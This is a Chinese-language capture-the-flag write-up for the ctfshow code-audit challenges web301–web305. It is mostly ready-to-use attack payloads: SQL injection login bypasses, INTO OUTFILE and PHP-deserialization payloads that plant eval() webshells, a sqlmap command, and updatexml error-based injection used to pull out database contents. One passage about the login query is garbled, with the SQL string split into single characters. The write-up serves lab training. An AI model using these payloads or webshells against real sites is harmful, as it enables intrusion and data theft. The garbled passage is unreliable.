1.web301
共有这几个文件
#checklogin.php
<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");
?>
先查看login.php,发现提交到了checklogin.php,查看checklogin.php在查询密码时有sql语句,并且没有过滤
s
q
l
=
"
s
e
l
e
c
t
s
d
s
p
a
s
s
w
o
r
d
f
r
o
m
s
d
s
u
s
e
r
w
h
e
r
e
s
d
s
u
s
e
r
n
a
m
e
=
′
"
.
sql="select sds_password from sds_user where sds_username='".
sql="selectsdspasswordfromsdsuserwheresdsusername=′".username.“’ order by id limit 1;”;是有sql注入的
strcasecmp函数是比较字符串的意思,是不区分大小写的
strcasecmp(string1,string2)
参数 描述
string1 必需。规定要比较的第一个字符串。
string2 必需。规定要比较的第二个字符串。
技术细节
返回值:
该函数返回:
0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2
当username和password相等时会登录成功,可以利用联合查询使查出来使两个相等
payload:
登录checklogin.php
userid=1' union select 1%23&passwd=1
写木马
userid=a ' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"%23&userpwd=b
sqlmap跑,手工需要用盲注
python sqlmap.py -r 1.txt -current-db --batch
1.txt
POST /checklogin.php HTTP/1.1
Host: 91ac98e8-d483-48ee-81f9-d4d26cdb7297.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://91ac98e8-d483-48ee-81f9-d4d26cdb7297.challenge.ctf.show/login.php
Cookie: PHPSESSID=itdauqfgjfkcdjocpcr3h3rup5
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
userid=s&userpwd=s
跑出用户名密码
admin
ctfshowwwww
2.web302
查看这个函数
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>
需要进行
payload:
登录位置checklogin.php,1加密后就是下面的字段
userid=1' union select 'd9c77c4e454869d5d8da3b4be79694d3'%23&userpwd=1
写木马
userid=a ' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"%23&userpwd=b
3.web303
这题进行了长度限制,所以写木马和上题的payload登录都是不行的
if(strlen($username)>6){
die();
}
尝试弱口令
admin 123456
admin admin 登录成功
admin admin888
在dpt.php发现注入点
id位置不知道在哪
继续审计,在dptadd.php发现注入点
有报错,可以用报错注入
查数据库名
dpt_name=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
查表名
dpt_name=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
sds_dpt,sds_fl9g,sds_user
查字段名
dpt_name=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sds_fl9g'),0x7e),1)%23
flag
查flag,取得不完整,用substr多取几次
dpt_name=1' and updatexml(1,concat(0x7e,(select flag from sds.sds_fl9g),0x7e),1)%23
dpt_name=1' and updatexml(1,concat(0x7e,(select substr(flag,28,20) from sds.sds_fl9g),0x7e),1)%23
4.web304
和上题一样,没找到全局waf
有报错,可以用报错注入
查数据库名
dpt_name=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
查表名
dpt_name=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
sds_dpt,sds_flaag,sds_user
查字段名
dpt_name=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sds_flaag'),0x7e),1)%23
flag
查flag,取得不完整,用substr多取几次
dpt_name=1' and updatexml(1,concat(0x7e,(select flag from sds.sds_flaag),0x7e),1)%23
dpt_name=1' and updatexml(1,concat(0x7e,(select substr(flag,28,20) from sds.sds_flaag),0x7e),1)%23
5.web305
在添加数据时,都加了waf
过滤了一些符号,sql注入就不能成功了.()单引号都被过滤了
相比上一题多了一个class.php,查看一下
发现是序列化相关的内容
在构造对象时,给变量赋值,当销毁对象时,写入文件
在checklogin.php中被调用了
可以利用序列化写一个木马,在cookie中传入
paylaod
<?php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
echo urlencode(serialize(new user('1.php','<?php eval($_POST[1]);?>')));
#输出值
O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D
cookie传入
蚁剑连接1.php
找数据库配置文件root root
连接数据库,查找flag,要选mysqli
参考文章:
cfshow代码审计
ctfshow代码审计